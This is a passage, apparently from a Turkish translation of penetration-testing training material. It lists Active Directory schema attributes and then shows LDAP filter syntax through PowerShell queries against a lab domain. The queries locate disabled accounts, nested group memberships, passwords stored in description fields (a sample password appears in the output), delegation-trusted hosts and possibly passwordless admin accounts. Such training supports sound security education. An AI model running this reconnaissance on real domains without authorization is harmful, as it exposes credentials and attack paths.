fRSRootSecurity FRS-Root-Security 1.2.840
fRSServiceCommand FRS-Service-Command 1.2.840
fRSServiceCommandStatus FRS-Service-Command-Status 1.2.840
fRSStagingPath FRS-Staging-Path 1.2.840
fRSTimeLastCommand FRS-Time-Last-Command 1.2.840
LDAP Display Name CN Attribute
fRSTimeLastConfigChange FRS-Time-Last-Config-Change 1.2.840
fRSUpdateTimeout FRS-Update-Timeout 1.2.840
fRSVersion FRS-Version 1.2.840
fRSVersionGUID FRS-Version-GUID 1.2.840
fRSWorkingPath FRS-Working-Path 1.2.840
fSMORoleOwner FSMO-Role-Owner 1.2.840
garbageCollPeriod Garbage-Coll-Period 1.2.840
generatedConnection Generated-Connection 1.2.840
generationQualifier Generation-Qualifier 2.5.4.44
givenName Given-Name 2.5.4.42
globalAddressList Global-Address-List 1.2.840
governsID Governs-ID 1.2.840
gPCFileSysPath GPC-File-Sys-Path 1.2.840
gPCFunctionalityVersion GPC-Functionality-Version 1.2.840
gPCMachineExtensionNames GPC-Machine-Extension-Names 1.2.840
gPCUserExtensionNames GPC-User-Extension-Names 1.2.840
gPLink GP-Link 1.2.840
gPOptions GP-Options 1.2.840
groupAttributes Group-Attributes 1.2.840
groupMembershipSAM Group-Membership-SAM 1.2.840
groupPriority Group-Priority 1.2.840
groupsToIgnore Groups-to-Ignore 1.2.840
groupType Group-Type 1.2.840
hasMasterNCs Has-Master-NCs 1.2.840
hasPartialReplicaNCs Has-Partial-Replica-NCs 1.2.840
helpData16 Help-Data16 1.2.840
helpData32 Help-Data32 1.2.840
helpFileName Help-File-Name 1.2.840
homeDirectory Home-Directory 1.2.840
homeDrive Home-Drive 1.2.840
homePhone Phone-Home-Primary 0.9.2342.19
homePostalAddress Address-Home 1.2.840
iconPath Icon-Path 1.2.840
implementedCategories Implemented-Categories 1.2.840
indexedScopes IndexedScopes 1.2.840
info Comment 1.2.840
initialAuthIncoming Initial-Auth-Incoming 1.2.840
initialAuthOutgoing Initial-Auth-Outgoing 1.2.840
initials Initials 2.5.4.43
installUiLevel Install-Ui-Level 1.2.840
LDAP Display Name CN Attribute
instanceType Instance-Type 1.2.840
internationalISDNNumber International-ISDN-Number 2.5.4.25
interSiteTopologyFailover Inter-Site-Topology-Failover 1.2.840
interSiteTopologyGenerator Inter-Site-Topology-Generator 1.2.840
interSiteTopologyRenew Inter-Site-Topology-Renew 1.2.840
invocationId Invocation-Id 1.2.840
ipPhone Phone-Ip-Primary 1.2.840
ipsecData Ipsec-Data 1.2.840
ipsecDataType Ipsec-Data-Type 1.2.840
ipsecFilterReference Ipsec-Filter-Reference 1.2.840
ipsecID Ipsec-ID 1.2.840
ipsecISAKMPReference Ipsec-ISAKMP-Reference 1.2.840
ipsecName Ipsec-Name 1.2.840
iPSECNegotiationPolicyAction IPSEC-Negotiation-Policy-Action 1.2.840
ipsecNegotiationPolicyReference Ipsec-Negotiation-Policy-Reference 1.2.840
iPSECNegotiationPolicyType IPSEC-Negotiation-Policy-Type 1.2.840
ipsecNFAReference Ipsec-NFA-Reference 1.2.840
ipsecOwnersReference Ipsec-Owners-Reference 1.2.840
ipsecPolicyReference Ipsec-Policy-Reference 1.2.840
isCriticalSystemObject Is-Critical-System-Object 1.2.840
isDefunct Is-Defunct 1.2.840
isDeleted Is-Deleted 1.2.840
isEphemeral Is-Ephemeral 1.2.840
isMemberOfPartialAttributeSet Is-Member-Of-Partial-Attribute-Set 1.2.840
isPrivilegeHolder Is-Privilege-Holder 1.2.840
isSingleValued Is-Single-Valued 1.2.840
keywords Keywords 1.2.840
knowledgeInformation Knowledge-Information 2.5.4.2
l Locality-Name 2.5.4.7
lastBackupRestorationTime Last-Backup-Restoration-Time 1.2.840
lastContentIndexed Last-Content-Indexed 1.2.840
lastKnownParent Last-Known-Parent 1.2.840
lastLogoff Last-Logoff 1.2.840
lastLogon Last-Logon 1.2.840
lastSetTime Last-Set-Time 1.2.840
lastUpdateSequence Last-Update-Sequence 1.2.840
lDAPAdminLimits LDAP-Admin-Limits 1.2.840
lDAPDisplayName LDAP-Display-Name 1.2.840
lDAPIPDenyList LDAP-IP-Deny-List 1.2.840
legacyExchangeDN Legacy-Exchange-DN 1.2.840
LDAP Display Name CN Attribute
linkID Link-ID 1.2.840
linkTrackSecret Link-Track-Secret 1.2.840
lmPwdHistory Lm-Pwd-History 1.2.840
localeID Locale-ID 1.2.840
localizationDisplayId Localization-Display-Id 1.2.840
localizedDescription Localized-Description 1.2.840
localPolicyFlags Local-Policy-Flags 1.2.840
localPolicyReference Local-Policy-Reference 1.2.840
location Location 1.2.840
lockoutDuration Lockout-Duration 1.2.840
lockOutObservationWindow Lock-Out-Observation-Window 1.2.840
lockoutThreshold Lockout-Threshold 1.2.840
lockoutTime Lockout-Time 1.2.840
logonCount Logon-Count 1.2.840
logonHours Logon-Hours 1.2.840
logonWorkstation Logon-Workstation 1.2.840
lSACreationTime LSA-Creation-Time 1.2.840
lSAModifiedCount LSA-Modified-Count 1.2.840
machineAccountQuota Machine-Account-Quota 1.2.840
machineArchitecture Machine-Architecture 1.2.840
machinePasswordChangeInterval Machine-Password-Change-Interval 1.2.840
machineRole Machine-Role 1.2.840
machineWidePolicy Machine-Wide-Policy 1.2.840
mail E-Mail-Addresses 0.9.2342.19
mailAddress SMTP-Mail-Address 1.2.840
managedBy Managed-By 1.2.840
managedObjects Managed-Objects 1.2.840
manager Manager 0.9.2342.19
mAPIID MAPI-ID 1.2.840
marshaledInterface Marshaled-Interface 1.2.840
masteredBy Mastered-By 1.2.840
maxPwdAge Max-Pwd-Age 1.2.840
maxRenewAge Max-Renew-Age 1.2.840
maxStorage Max-Storage 1.2.840
maxTicketAge Max-Ticket-Age 1.2.840
mayContain May-Contain 1.2.840
meetingAdvertiseScope meetingAdvertiseScope 1.2.840
meetingApplication meetingApplication 1.2.840
meetingBandwidth meetingBandwidth 1.2.840
meetingBlob meetingBlob 1.2.840
LDAP Display Name CN Attribute
meetingContactInfo meetingContactInfo 1.2.840
meetingDescription meetingDescription 1.2.840
meetingEndTime meetingEndTime 1.2.840
meetingID meetingID 1.2.840
meetingIP meetingIP 1.2.840
meetingIsEncrypted meetingIsEncrypted 1.2.840
meetingKeyword meetingKeyword 1.2.840
meetingLanguage meetingLanguage 1.2.840
meetingLocation meetingLocation 1.2.840
meetingMaxParticipants meetingMaxParticipants 1.2.840
meetingName meetingName 1.2.840
meetingOriginator meetingOriginator 1.2.840
meetingOwner meetingOwner 1.2.840
meetingProtocol meetingProtocol 1.2.840
meetingRating meetingRating 1.2.840
meetingRecurrence meetingRecurrence 1.2.840
meetingScope meetingScope 1.2.840
meetingStartTime meetingStartTime 1.2.840
meetingType meetingType 1.2.840
meetingURL meetingURL 1.2.840
member Member 2.5.4.31
memberOf Is-Member-Of-DL 1.2.840
mhsORAddress MHS-OR-Address 1.2.840
middleName Other-Name 2.16.840.1.1
minPwdAge Min-Pwd-Age 1.2.840
minPwdLength Min-Pwd-Length 1.2.840
minTicketAge Min-Ticket-Age 1.2.840
mobile Phone-Mobile-Primary 0.9.2342.19
modifiedCount Modified-Count 1.2.840
modifiedCountAtLastProm Modified-Count-At-Last-Prom 1.2.840
modifyTimeStamp Modify-Time-Stamp 2.5.18.2
moniker Moniker 1.2.840
monikerDisplayName Moniker-Display-Name 1.2.840
moveTreeState Move-Tree-State 1.2.840
mscopeId Mscope-Id 1.2.840
mS-DS-ConsistencyChildCount MS-DS-Consistency-Child-Count 1.2.840
mS-DS-ConsistencyGuid MS-DS-Consistency-Guid 1.2.840
mS-DS-CreatorSID MS-DS-Creator-SID 1.2.840
ms-DS-MachineAccountQuota MS-DS-Machine-Account-Quota 1.2.840
mS-DS-ReplicatesNCReason MS-DS-Replicates-NC-Reason 1.2.840
LDAP Display Name CN Attribute
msiFileList Msi-File-List 1.2.840
msiScript Msi-Script 1.2.840
msiScriptName Msi-Script-Name 1.2.840
msiScriptPath Msi-Script-Path 1.2.840
msiScriptSize Msi-Script-Size 1.2.840
mSMQAuthenticate MSMQ-Authenticate 1.2.840
mSMQBasePriority MSMQ-Base-Priority 1.2.840
mSMQComputerType MSMQ-Computer-Type 1.2.840
mSMQComputerTypeEx MSMQ-Computer-Type-Ex 1.2.840
mSMQCost MSMQ-Cost 1.2.840
mSMQCSPName MSMQ-CSP-Name 1.2.840
mSMQDependentClientService MSMQ-Dependent-Client-Service 1.2.840
mSMQDependentClientServices MSMQ-Dependent-Client-Services 1.2.840
mSMQDigests MSMQ-Digests 1.2.840
mSMQDigestsMig MSMQ-Digests-Mig 1.2.840
mSMQDsService MSMQ-Ds-Service 1.2.840
mSMQDsServices MSMQ-Ds-Services 1.2.840
mSMQEncryptKey MSMQ-Encrypt-Key 1.2.840
mSMQForeign MSMQ-Foreign 1.2.840
mSMQInRoutingServers MSMQ-In-Routing-Servers 1.2.840
mSMQInterval1 MSMQ-Interval1 1.2.840
mSMQInterval2 MSMQ-Interval2 1.2.840
mSMQJournal MSMQ-Journal 1.2.840
mSMQJournalQuota MSMQ-Journal-Quota 1.2.840
mSMQLabel MSMQ-Label 1.2.840
mSMQLabelEx MSMQ-Label-Ex 1.2.840
mSMQLongLived MSMQ-Long-Lived 1.2.840
mSMQMigrated MSMQ-Migrated 1.2.840
mSMQNameStyle MSMQ-Name-Style 1.2.840
mSMQNt4Flags MSMQ-Nt4-Flags 1.2.840
mSMQNt4Stub MSMQ-Nt4-Stub 1.2.840
mSMQOSType MSMQ-OS-Type 1.2.840
mSMQOutRoutingServers MSMQ-Out-Routing-Servers 1.2.840
mSMQOwnerID MSMQ-Owner-ID 1.2.840
mSMQPrevSiteGates MSMQ-Prev-Site-Gates 1.2.840
mSMQPrivacyLevel MSMQ-Privacy-Level 1.2.840
mSMQQMID MSMQ-QM-ID 1.2.840
mSMQQueueJournalQuota MSMQ-Queue-Journal-Quota 1.2.840
mSMQQueueNameExt MSMQ-Queue-Name-Ext 1.2.840
mSMQQueueQuota MSMQ-Queue-Quota 1.2.840
LDAP Display Name CN Attribute
mSMQQueueType MSMQ-Queue-Type 1.2.840
mSMQQuota MSMQ-Quota 1.2.840
mSMQRoutingService MSMQ-Routing-Service 1.2.840
mSMQRoutingServices MSMQ-Routing-Services 1.2.840
mSMQServices MSMQ-Services 1.2.840
mSMQServiceType MSMQ-Service-Type 1.2.840
mSMQSignCertificates MSMQ-Sign-Certificates 1.2.840
mSMQSignCertificatesMig MSMQ-Sign-Certificates-Mig 1.2.840
mSMQSignKey MSMQ-Sign-Key 1.2.840
mSMQSite1 MSMQ-Site-1 1.2.840
mSMQSite2 MSMQ-Site-2 1.2.840
mSMQSiteForeign MSMQ-Site-Foreign 1.2.840
mSMQSiteGates MSMQ-Site-Gates 1.2.840
mSMQSiteGatesMig MSMQ-Site-Gates-Mig 1.2.840
mSMQSiteID MSMQ-Site-ID 1.2.840
mSMQSiteName MSMQ-Site-Name 1.2.840
mSMQSiteNameEx MSMQ-Site-Name-Ex 1.2.840
mSMQSites MSMQ-Sites 1.2.840
mSMQTransactional MSMQ-Transactional 1.2.840
mSMQUserSid MSMQ-User-Sid 1.2.840
mSMQVersion MSMQ-Version 1.2.840
msNPAllowDialin msNPAllowDialin 1.2.840
msNPCalledStationID msNPCalledStationID 1.2.840
msNPCallingStationID msNPCallingStationID 1.2.840
msNPSavedCallingStationID msNPSavedCallingStationID 1.2.840
msRADIUSCallbackNumber msRADIUSCallbackNumber 1.2.840
msRADIUSFramedIPAddress msRADIUSFramedIPAddress 1.2.840
msRADIUSFramedRoute msRADIUSFramedRoute 1.2.840
msRADIUSServiceType msRADIUSServiceType 1.2.840
msRASSavedCallbackNumber msRASSavedCallbackNumber 1.2.840
msRASSavedFramedIPAddress msRASSavedFramedIPAddress 1.2.840
msRASSavedFramedRoute msRASSavedFramedRoute 1.2.840
msRRASAttribute ms-RRAS-Attribute 1.2.840
msRRASVendorAttributeEntry ms-RRAS-Vendor-Attribute-Entry 1.2.840
mS-SQL-Alias MS-SQL-Alias 1.2.840
mS-SQL-AllowAnonymousSubscription MS-SQLAllowAnonymousSubscription 1.2.840
mS- MS- 1.2.840
SQLAllowImmediateUpdatingSubscription SQLAllowImmediateUpdatingSubscription
mS-SQL-AllowKnownPullSubscription MS-SQLAllowKnownPullSubscription 1.2.840
mS- MS- 1.2.840
SQLAllowQueuedUpdatingSubscription SQLAllowQueuedUpdatingSubscription
LDAP Display Name CN Attribute
mS- MS- 1.2.840
SQLAllowSnapshotFilesFTPDownloading SQLAllowSnapshotFilesFTPDownloading
mS-SQL-AppleTalk MS-SQL-AppleTalk 1.2.840
mS-SQL-Applications MS-SQL-Applications 1.2.840
mS-SQL-Build MS-SQL-Build 1.2.840
mS-SQL-CharacterSet MS-SQL-CharacterSet 1.2.840
mS-SQL-Clustered MS-SQL-Clustered 1.2.840
mS-SQL-ConnectionURL MS-SQL-ConnectionURL 1.2.840
mS-SQL-Contact MS-SQL-Contact 1.2.840
mS-SQL-CreationDate MS-SQL-CreationDate 1.2.840
mS-SQL-Database MS-SQL-Database 1.2.840
mS-SQL-Description MS-SQL-Description 1.2.840
mS-SQL-GPSHeight MS-SQL-GPSHeight 1.2.840
mS-SQL-GPSLatitude MS-SQL-GPSLatitude 1.2.840
mS-SQL-GPSLongitude MS-SQL-GPSLongitude 1.2.840
mS-SQL-InformationDirectory MS-SQL-InformationDirectory 1.2.840
mS-SQL-InformationURL MS-SQL-InformationURL 1.2.840
mS-SQL-Keywords MS-SQL-Keywords 1.2.840
mS-SQL-Language MS-SQL-Language 1.2.840
mS-SQL-LastBackupDate MS-SQL-LastBackupDate 1.2.840
mS-SQL-LastDiagnosticDate MS-SQL-LastDiagnosticDate 1.2.840
mS-SQL-LastUpdatedDate MS-SQL-LastUpdatedDate 1.2.840
mS-SQL-Location MS-SQL-Location 1.2.840
mS-SQL-Memory MS-SQL-Memory 1.2.840
mS-SQL-MultiProtocol MS-SQL-MultiProtocol 1.2.840
mS-SQL-Name MS-SQL-Name 1.2.840
mS-SQL-NamedPipe MS-SQL-NamedPipe 1.2.840
mS-SQL-PublicationURL MS-SQL-PublicationURL 1.2.840
mS-SQL-Publisher MS-SQL-Publisher 1.2.840
mS-SQL-RegisteredOwner MS-SQL-RegisteredOwner 1.2.840
mS-SQL-ServiceAccount MS-SQL-ServiceAccount 1.2.840
mS-SQL-Size MS-SQL-Size 1.2.840
mS-SQL-SortOrder MS-SQL-SortOrder 1.2.840
mS-SQL-SPX MS-SQL-SPX 1.2.840
mS-SQL-Status MS-SQL-Status 1.2.840
mS-SQL-TCPIP MS-SQL-TCPIP 1.2.840
mS-SQL-ThirdParty MS-SQL-ThirdParty 1.2.840
mS-SQL-Type MS-SQL-Type 1.2.840
mS-SQL-UnicodeSortOrder MS-SQL-UnicodeSortOrder 1.2.840
mS-SQL-Version MS-SQL-Version 1.2.840
mS-SQL-Vines MS-SQL-Vines 1.2.840
LDAP Display Name CN Attribute
mustContain Must-Contain 1.2.840
name RDN 1.2.840
nameServiceFlags Name-Service-Flags 1.2.840
nCName NC-Name 1.2.840
nETBIOSName NETBIOS-Name 1.2.840
netbootAllowNewClients netboot-Allow-New-Clients 1.2.840
netbootAnswerOnlyValidClients netboot-Answer-Only-Valid-Clients 1.2.840
netbootAnswerRequests netboot-Answer-Requests 1.2.840
netbootCurrentClientCount netboot-Current-Client-Count 1.2.840
netbootGUID Netboot-GUID 1.2.840
netbootInitialization Netboot-Initialization 1.2.840
netbootIntelliMirrorOSes netboot-IntelliMirror-OSes 1.2.840
netbootLimitClients netboot-Limit-Clients 1.2.840
netbootLocallyInstalledOSes netboot-Locally-Installed-OSes 1.2.840
netbootMachineFilePath Netboot-Machine-File-Path 1.2.840
netbootMaxClients netboot-Max-Clients 1.2.840
netbootMirrorDataFile Netboot-Mirror-Data-File 1.2.840
netbootNewMachineNamingPolicy netboot-New-Machine-Naming-Policy 1.2.840
netbootNewMachineOU netboot-New-Machine-OU 1.2.840
netbootSCPBL netboot-SCP-BL 1.2.840
netbootServer netboot-Server 1.2.840
netbootSIFFile Netboot-SIF-File 1.2.840
netbootTools netboot-Tools 1.2.840
networkAddress Network-Address 1.2.840
nextLevelStore Next-Level-Store 1.2.840
nextRid Next-Rid 1.2.840
nonSecurityMember Non-Security-Member 1.2.840
nonSecurityMemberBL Non-Security-Member-BL 1.2.840
notes Additional-Information 1.2.840
notificationList Notification-List 1.2.840
nTGroupMembers NT-Group-Members 1.2.840
nTMixedDomain NT-Mixed-Domain 1.2.840
ntPwdHistory Nt-Pwd-History 1.2.840
nTSecurityDescriptor NT-Security-Descriptor 1.2.840
o Organization-Name 2.5.4.10
objectCategory Object-Category 1.2.840
objectClass Object-Class 2.5.4.0
objectClassCategory Object-Class-Category 1.2.840
objectClasses Object-Classes 2.5.21.6
objectCount Object-Count 1.2.840
LDAP Display Name CN Attribute
objectGUID Object-Guid 1.2.840
objectSid Object-Sid 1.2.840
objectVersion Object-Version 1.2.840
oEMInformation OEM-Information 1.2.840
oMObjectClass OM-Object-Class 1.2.840
oMSyntax OM-Syntax 1.2.840
oMTGuid OMT-Guid 1.2.840
oMTIndxGuid OMT-Indx-Guid 1.2.840
operatingSystem Operating-System 1.2.840
operatingSystemHotfix Operating-System-Hotfix 1.2.840
operatingSystemServicePack Operating-System-Service-Pack 1.2.840
operatingSystemVersion Operating-System-Version 1.2.840
operatorCount Operator-Count 1.2.840
optionDescription Option-Description 1.2.840
options Options 1.2.840
optionsLocation Options-Location 1.2.840
originalDisplayTable Original-Display-Table 1.2.840
originalDisplayTableMSDOS Original-Display-Table-MSDOS 1.2.840
otherFacsimileTelephoneNumber Phone-Fax-Other 1.2.840
otherHomePhone Phone-Home-Other 1.2.840
otherIpPhone Phone-Ip-Other 1.2.840
otherLoginWorkstations Other-Login-Workstations 1.2.840
otherMailbox Other-Mailbox 1.2.840
otherMobile Phone-Mobile-Other 1.2.840
otherPager Phone-Pager-Other 1.2.840
otherTelephone Phone-Office-Other 1.2.840
otherWellKnownObjects Other-Well-Known-Objects 1.2.840
ou Organizational-Unit-Name 2.5.4.11
owner Owner 2.5.4.32
packageFlags Package-Flags 1.2.840
packageName Package-Name 1.2.840
packageType Package-Type 1.2.840
pager Phone-Pager-Primary 0.9.2342.19
parentCA Parent-CA 1.2.840
parentCACertificateChain Parent-CA-Certificate-Chain 1.2.840
parentGUID Parent-GUID 1.2.840
partialAttributeDeletionList Partial-Attribute-Deletion-List 1.2.840
partialAttributeSet Partial-Attribute-Set 1.2.840
pekKeyChangeInterval Pek-Key-Change-Interval 1.2.840
pekList Pek-List 1.2.840
LDAP Display Name CN Attribute
pendingCACertificates Pending-CA-Certificates 1.2.840
pendingParentCA Pending-Parent-CA 1.2.840
perMsgDialogDisplayTable Per-Msg-Dialog-Display-Table 1.2.840
perRecipDialogDisplayTable Per-Recip-Dialog-Display-Table 1.2.840
personalTitle Personal-Title 1.2.840
physicalDeliveryOfficeName Physical-Delivery-Office-Name 2.5.4.19
physicalLocationObject Physical-Location-Object 1.2.840
pKICriticalExtensions PKI-Critical-Extensions 1.2.840
pKIDefaultCSPs PKI-Default-CSPs 1.2.840
pKIDefaultKeySpec PKI-Default-Key-Spec 1.2.840
pKIEnrollmentAccess PKI-Enrollment-Access 1.2.840
pKIExpirationPeriod PKI-Expiration-Period 1.2.840
pKIExtendedKeyUsage PKI-Extended-Key-Usage 1.2.840
pKIKeyUsage PKI-Key-Usage 1.2.840
pKIMaxIssuingDepth PKI-Max-Issuing-Depth 1.2.840
pKIOverlapPeriod PKI-Overlap-Period 1.2.840
pKT PKT 1.2.840
pKTGuid PKT-Guid 1.2.840
policyReplicationFlags Policy-Replication-Flags 1.2.840
portName Port-Name 1.2.840
possibleInferiors Possible-Inferiors 1.2.840
possSuperiors Poss-Superiors 1.2.840
postalAddress Postal-Address 2.5.4.16
postalCode Postal-Code 2.5.4.17
postOfficeBox Post-Office-Box 2.5.4.18
preferredDeliveryMethod Preferred-Delivery-Method 2.5.4.28
preferredOU Preferred-OU 1.2.840
prefixMap Prefix-Map 1.2.840
presentationAddress Presentation-Address 2.5.4.29
previousCACertificates Previous-CA-Certificates 1.2.840
previousParentCA Previous-Parent-CA 1.2.840
primaryGroupID Primary-Group-ID 1.2.840
primaryGroupToken Primary-Group-Token 1.2.840
primaryInternationalISDNNumber Phone-ISDN-Primary 1.2.840
primaryTelexNumber Telex-Primary 1.2.840
printAttributes Print-Attributes 1.2.840
printBinNames Print-Bin-Names 1.2.840
printCollate Print-Collate 1.2.840
printColor Print-Color 1.2.840
printDuplexSupported Print-Duplex-Supported 1.2.840
LDAP Display Name CN Attribute
printEndTime Print-End-Time 1.2.840
printerName Printer-Name 1.2.840
printFormName Print-Form-Name 1.2.840
printKeepPrintedJobs Print-Keep-Printed-Jobs 1.2.840
printLanguage Print-Language 1.2.840
printMACAddress Print-MAC-Address 1.2.840
printMaxCopies Print-Max-Copies 1.2.840
printMaxResolutionSupported Print-Max-Resolution-Supported 1.2.840
printMaxXExtent Print-Max-X-Extent 1.2.840
printMaxYExtent Print-Max-Y-Extent 1.2.840
printMediaReady Print-Media-Ready 1.2.840
printMediaSupported Print-Media-Supported 1.2.840
printMemory Print-Memory 1.2.840
printMinXExtent Print-Min-X-Extent 1.2.840
printMinYExtent Print-Min-Y-Extent 1.2.840
printNetworkAddress Print-Network-Address 1.2.840
printNotify Print-Notify 1.2.840
printNumberUp Print-Number-Up 1.2.840
printOrientationsSupported Print-Orientations-Supported 1.2.840
printOwner Print-Owner 1.2.840
printPagesPerMinute Print-Pages-Per-Minute 1.2.840
printRate Print-Rate 1.2.840
printRateUnit Print-Rate-Unit 1.2.840
printSeparatorFile Print-Separator-File 1.2.840
printShareName Print-Share-Name 1.2.840
printSpooling Print-Spooling 1.2.840
printStaplingSupported Print-Stapling-Supported 1.2.840
printStartTime Print-Start-Time 1.2.840
printStatus Print-Status 1.2.840
priority Priority 1.2.840
priorSetTime Prior-Set-Time 1.2.840
priorValue Prior-Value 1.2.840
Object Identifiers (OIDs)
Ayrıca, LDAP filtreleriyle eşleşme kuralı Object Identifier'ları (OID'ler) kullanabiliriz. Bu,
Microsoft'un Search Filter Syntax belgesinde listelenmiştir.
Matching rule OID String identifier Description
1.2.840.113556.1.4.803 LDAP_MATCHING_RULE_BIT_AND Bir eşleşme yalnızca attribute'taki
tüm bitler değerle eşleşirse
bulunur. Bu kural, bitsel AND
operatörüne eşdeğerdir.
1.2.840.113556.1.4.804 LDAP_MATCHING_RULE_BIT_OR Attribute'daki herhangi bir bit
değerle eşleşirse bir eşleşme
bulunur. Bu kural, bitsel VEYA
operatörüne eşdeğerdir.
1.2.840.113556.1.4.1941 LDAP_MATCHING_RULE_IN_CHAIN Bu kural, DN'ye uygulanan
filtrelerle sınırlıdır. Bu, bir eşleşme
bulana kadar object'lerdeki soy
zincirini root'a kadar yürüten özel
bir “ extended” match
operatörüdür.
Yukarıdaki OID'leri bazı örneklerle açıklayabiliriz. Aşağıdaki LDAP sorgusunu ele alalım:
(&(objectCategory=person)(objectClass=user)
(userAccountControl:1.2.840.113556.1.4.803:=2))
Bu query tüm administrative olarak devre dışı bırakılmış user hesaplarını veya
ACCOUNTDISABLE (2) döndürecektir. Bu sorguyu, hedef domainimize karşı “ Get-ADUser ”
cmdlet'i ile bir LDAP search filtresi olarak birleştirebiliriz. LDAP sorgusu aşağıdaki gibi
kısaltılabilir:
LDAP Query - Disabled User Accounts (Devre Dışı Kullanıcı
Hesaplarını Filtrele)
PS C:\htb> Get-ADUser -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=2)' |
Select-Object Name
name
----
Guest
DefaultAccount
krbtgt
Exchange Online-ApplicationAccount
SystemMailbox{1f05a927-35b9-4cc9-bbe1-11e28cddb180}
SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}
SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}
DiscoverySearchMailbox {D919BA05-46A6-415f-80AD-7E09334BB852}
Migration.8f3e7716-2011-43e4-96b1-aba62d229136
FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042
SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}
SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}
SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9}
Şimdi genişletilebilir eşleşme kuralı “ 1 .2.840.113556.1.4.1941 ” için bir örneğe bakalım.
Aşağıdaki sorguyu ele alalım:
(member:1.2.840.113556.1.4.1941:=CN=Harry Jones,OU=Network
Ops,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL)
Bu eşleştirme kuralı, Harry Jones (” CN=Harry Jones,OU=Network
Ops,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL ”) kullanıcısının üyesi olduğu tüm grupları
bulacaktır. Bu filtreyi “ Get-ADGroup ” cmdlet'i ile kullanmak bize aşağıdaki çıktıyı verir:
LDAP Query - Find All Groups
PS C:\htb> Get-ADGroup -LDAPFilter '(member:1.2.840.113556.1.4.1941:=CN=Harry
Jones,OU=Network Ops,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL)' | Select-Object
Name
Name
----
Administrators
Backup Operators
Domain Admins
Denied RODC Password Replication Group
LAPS Admins
Security Operations
Help Desk
Network Team
Filter Types, Item Types & Escaped Characters
LDAP search filtreleri ile aşağıdaki dört filtre türüne sahibiz:
Operator Meaning
= Equal to (Eşittir)
~= Approximately equal to (Yaklaşık eşittir)
>= Greater than or equal to (Büyük veya eşittir)
<= Less than or equal to (Küçük veya eşittir)
Ve dört item tipimiz var:
Type Meaning
= Simple (Basit)
=* Present (Mevcut)
=something* Substring
Extensible Varies depending on type (Türe bağlı olarak değişir)
Son olarak, LDAP filtresinde kullanıldığında kaçırılması gereken karakterler şunlardır:
Character Represented as Hex
* \2a
( \28
) \29
\ \5c
NUL \00
Example LDAP Filters
Test alanımızda kullanmak üzere birkaç LDAP filtresi daha oluşturalım.
“ (&(objectCategory=user)(description=*)) filtresini kullanabiliriz. “ tuşuna basarak boş bir
description alanına sahip olmayan tüm kullanıcı hesaplarını bulabilirsiniz. Bu, her internal ağ
değerlendirmesinde gerçekleştirilmesi gereken yararlı bir aramadır, çünkü AD'deki kullanıcı
description attribute'unda (tüm AD kullanıcıları tarafından okunabilir) saklanan kullanıcıların
parolalarını bulmak nadir değildir.
Bunu “ Get-ADUser ” cmdlet'i ile birleştirerek, boş bir description alanına sahip olmayan tüm
domain kullanıcılarını arayabilir ve bu durumda bir servis hesabı şifresi bulabiliriz!
LDAP Query - Description Field
PS C:\htb> Get-ADUser -Properties * -LDAPFilter '(&(objectCategory=user)
(description=*))' | Select-Object samaccountname,description
samaccountname description
-------------- -----------
Administrator Built-in account for administering the computer/domain
Guest Built-in account for guest access to the computer/domain
DefaultAccount A user account managed by the system.
krbtgt Key Distribution Center Service Account
svc-sccm **Do not change password** 03/04/2015 N3ssu$_svc2014!
Bu filtre “ (userAccountControl:1.2.840.113556.1.4.803:=524288) ”, Kerberos Saldırıları ile ilgili
olan delegation veya unconstrained delegation için trusted olarak işaretlenmiş tüm
kullanıcıları veya bilgisayarları bulmak için kullanılabilir. Bu LDAP filtresi yardımıyla
kullanıcıları numaralandırabiliriz:
LDAP Query - Find Trusted Users
PS C:\htb> Get-ADUser -Properties * -LDAPFilter
'(userAccountControl:1.2.840.113556.1.4.803:=524288)' | Select-Object Name, memberof,
servicePrincipalName, TrustedForDelegation | Format-List
Name : sqldev
memberof : {CN=Protected Users,CN=Users,DC=INLANEFREIGHT,DC=LOCAL}
servicePrincipalName : {MSSQL_svc_dev/inlanefreight.local:1443}
TrustedForDelegation : True
Bu ayar ile bilgisayarları da numaralandırabiliriz:
LDAP Query - Find Trusted Computers
PS C:\htb> Get-ADComputer -Properties * -LDAPFilter
'(userAccountControl:1.2.840.113556.1.4.803:=524288)' | Select-Object
DistinguishedName, servicePrincipalName, TrustedForDelegation | Format-List
DistinguishedName : CN=DC01,OU=Domain Controllers,DC=INLANEFREIGHT,DC=LOCAL
servicePrincipalName : {exchangeAB/DC01, exchangeAB/DC01.INLANEFREIGHT.LOCAL,
TERMSRV/DC01, TERMSRV/DC01.INLANEFREIGHT.LOCAL...}
TrustedForDelegation : True
DistinguishedName : CN=SQL01,OU=SQL Servers,OU=Servers,DC=INLANEFREIGHT,DC=LOCAL
servicePrincipalName : {MSSQLsvc/SQL01.INLANEFREIGHT.LOCAL:1433, TERMSRV/SQL01,
TERMSRV/SQL01.INLANEFREIGHT.LOCAL, RestrictedKrbHost/SQL01...}
TrustedForDelegation : True
Son olarak, “ adminCount ‘ attribute'u 1 olarak ayarlanmış ve ’ useraccountcontrol '
attribute'u ‘ PASSWD_NOTREQD , ’ bayrağıyla ayarlanmış, yani hesabın boş bir parolaya sahip
olabileceği tüm kullanıcıları arayalım. Bunu yapmak için, iki LDAP arama filtresini aşağıdaki
gibi birleştirmeliyiz:
(&(objectCategory=person)(objectClass=user)
(userAccountControl:1.2.840.113556.1.4.803:=32))(adminCount=1)
LDAP Sorgusu - Boş Parolalı Kullanıcılar
PS C:\htb> Get-ADUser -LDAPFilter '(&(objectCategory=person)(objectClass=user)
(userAccountControl:1.2.840.113556.1.4.803:=32))(adminCount=1)' -Properties * |
Select-Object name, memberof | Format-List
name : Jenna Smith
memberof : CN=Schema Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
name : Harry Jones
memberof : {CN=Network Team,CN=Users,DC=INLANEFREIGHT,DC=LOCAL, CN=Help
Desk,OU=Microsoft Exchange Security Groups,DC=INLANEFREIGHT,DC=LOCAL, CN=Security
